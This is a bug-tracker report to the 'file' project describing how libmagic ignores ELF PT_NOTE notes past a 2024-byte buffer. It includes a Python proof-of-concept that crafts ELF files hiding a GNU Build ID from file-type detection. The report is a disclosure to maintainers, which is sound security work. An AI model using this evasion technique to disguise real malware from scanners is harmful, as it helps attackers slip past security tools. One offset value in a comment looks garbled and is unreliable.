View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0000714 | file | General | public | 2026-02-15 06:17 | 2026-02-15 06:17 |
| Reporter | Zierax | Assigned To | |||
| Priority | normal | Severity | major | Reproducibility | always |
| Status | new | Resolution | open | ||
| Platform | x86_64 GNU/Linux | OS | kali linux WSL2 | ||
| Product Version | 5.46 | ||||
| Summary | 0000714: libmagic ELF PT_NOTE Segment Truncation Enables Security Tool Evasion | ||||
| Description | ### Summary The `file` utility and its underlying `libmagic` library use a fixed 2024-byte stack buffer (`nbuf[NBUFSIZE]`) when parsing ELF PT_NOTE segments. Any ELF notes residing beyond this 2024-byte boundary are silently ignored during analysis. An attacker can exploit this behavior by crafting an ELF binary where identifying notes — such as GNU Build IDs, Go compiler markers, or OS identification notes — are placed beyond this boundary, preceded by a large padding note. The result is that `file`, and any security tool built on `libmagic`, will fail to identify the true nature of the binary, enabling malware evasion and security control bypass. --- ### Affected Component **File:** `src/readelf.c` **Functions:** `dophn_exec()`, `dophn_core()` **Vulnerable Code:** ```c // In dophn_exec() and dophn_core() — src/readelf.c // Buffer is hard-capped at NBUFSIZE (2024 bytes) size_t len = xph_filesz < sizeof(nbuf) ? xph_filesz : sizeof(nbuf); off_t offs = xph_offset; bufsize = pread(fd, nbuf, len, offs); // Loop only iterates over the first 2024 bytes offset = 0; for (;;) { if (offset >= CAST(size_t, bufsize)) // Silent truncation here break; offset = donote(ms, nbuf, offset, CAST(size_t, bufsize), ...); } ``` Any note at an offset greater than 2024 bytes into the PT_NOTE segment is never passed to `donote()` and is permanently invisible to libmagic. --- ### Root Cause `dophn_exec()` and `dophn_core()` read ELF PT_NOTE segments into a fixed 2024-byte stack buffer and iterate only over that initial prefix. Unlike the section header parser `doshn()` which dynamically allocates memory proportional to the segment size, the note segment parser makes no attempt to read or analyze data beyond the buffer boundary, silently truncating analysis of any notes that follow. --- ### Impact **Direct impact:** The `file` command fails to identify and report ELF notes placed beyond the 2024-byte boundary, producing incomplete or misleading output about the binary's true nature. **Wider impact:** Because `libmagic` is a shared library consumed by many downstream applications, this truncation behavior is inherited by all of the following: - `php-fileinfo` extension — affects PHP file upload validators - `python-magic` — affects Python-based malware scanners and upload handlers - `perl-file-libmagic` — affects Perl security tooling - Any SIEM, EDR, or file analysis pipeline that shells out to `file` or links against `libmagic` A malware author can craft an ELF binary that appears generic and unremarkable to all of the above tools while hiding its true build origin, OS target, or compiler fingerprint in the truncated region. | ||||
| Steps To Reproduce | ### Steps to Reproduce **Environment:** ```bash git clone https://github.com/file/file cd file autoreconf -i && ./configure && make -j4 ``` **PoC Generator:** ```python import struct def create_elf_core(filename, padding_size): # ELF Header (64-bit Little Endian, ET_CORE) e_ident = b'\x7fELF\x02\x01\x01\x00' + b'\x00' * 8 elf_header = struct.pack('<16sHHIQQLIHHHHHH', e_ident, 4, 62, 1, 0, 64, 0, 0, 64, 56, 1, 0, 0, 0) # Padding note placed first to push target note beyond 2024 bytes if padding_size > 0: pad_desc = b'B' * (padding_size - 12 - 8) pad_note = struct.pack('<III', 5, len(pad_desc), 1) + \ b'CORE\x00\x00\x00\x00' + pad_desc else: pad_note = b'' # Target note (GNU Build ID) — this is what file normally detects target_name = b'GNU\x00' target_desc = b'\x11\x22\x33\x44' * 5 target_note = struct.pack('<III', 4, 20, 3) + target_name + target_desc note_data = pad_note + target_note # PT_NOTE program header p_offset = 0x1000 ph = struct.pack('<IIQQQQQQ', 4, 4, p_offset, 0, 0, len(note_data), len(note_data), 4) with open(filename, 'wb') as f: f.write(elf_header + ph) f.write(b'\x00' * (p_offset - len(elf_header) - len(ph))) f.write(note_data) # poc_visible: GNU note is within 2024 bytes — file WILL see it create_elf_core('poc_visible.elf', 0) # poc_hidden: GNU note is pushed to offset 0000476:0004000 — file will NOT see it create_elf_core('poc_hidden.elf', 4000) ``` **Run:** ```bash python3 poc_generator.py ./src/file poc_visible.elf ./src/file poc_hidden.elf ``` **Expected output showing the evasion:** ``` poc_visible.elf: ELF 64-bit LSB core file, x86-64, version 1 (SYSV), GNU Build ID: 11223344... poc_hidden.elf: ELF 64-bit LSB core file, x86-64, version 1 (SYSV), no program header # GNU Build ID is completely invisible in poc_hidden.elf # despite being present in the file ``` | ||||
| Tags | No tags attached. | ||||
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2026-02-15 06:17 | Zierax | New Issue |